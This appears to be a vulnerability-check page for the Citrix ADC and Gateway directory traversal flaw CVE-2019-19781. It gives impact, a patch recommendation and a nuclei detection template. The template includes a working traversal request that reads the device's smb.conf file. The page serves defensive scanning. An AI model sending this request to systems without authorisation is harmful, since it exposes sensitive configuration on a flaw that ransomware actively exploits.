Citrix ADC and Gateway - Directory Traversal

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 are susceptible to directory traversal vulnerabilities.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system.

Fix

Apply the necessary security patches provided by Citrix to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/vpn/../vpns/cfg/smb.conf
Positive when: contains "[global]" AND status 200

Run it with nuclei: nuclei -id CVE-2019-19781 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-19781

info:
  name: Citrix ADC and Gateway - Directory Traversal
  author: organiccrap,geeknik
  severity: critical
  description: Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 are susceptible to directory traversal vulnerabilities.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system.
  remediation: |
    Apply the necessary security patches provided by Citrix to fix the directory traversal vulnerability.
  reference:
    - https://support.citrix.com/article/CTX267027
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19781
    - https://www.kb.cert.org/vuls/id/619785
    - http://packetstormsecurity.com/files/155904/Citrix-Application-Delivery-Controller-Gateway-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/155905/Citrix-Application-Delivery-Controller-Gateway-Remote-Code-Execution-Traversal.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-19781
    cwe-id: CWE-22
    epss-score: 0.99999
    epss-percentile: 0.99998
    cpe: cpe:2.3:o:citrix:application_delivery_controller_firmware:10.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: application_delivery_controller_firmware
  tags: cve,cve2019,lfi,kev,packetstorm,citrix,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/vpn/../vpns/cfg/smb.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "[global]"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from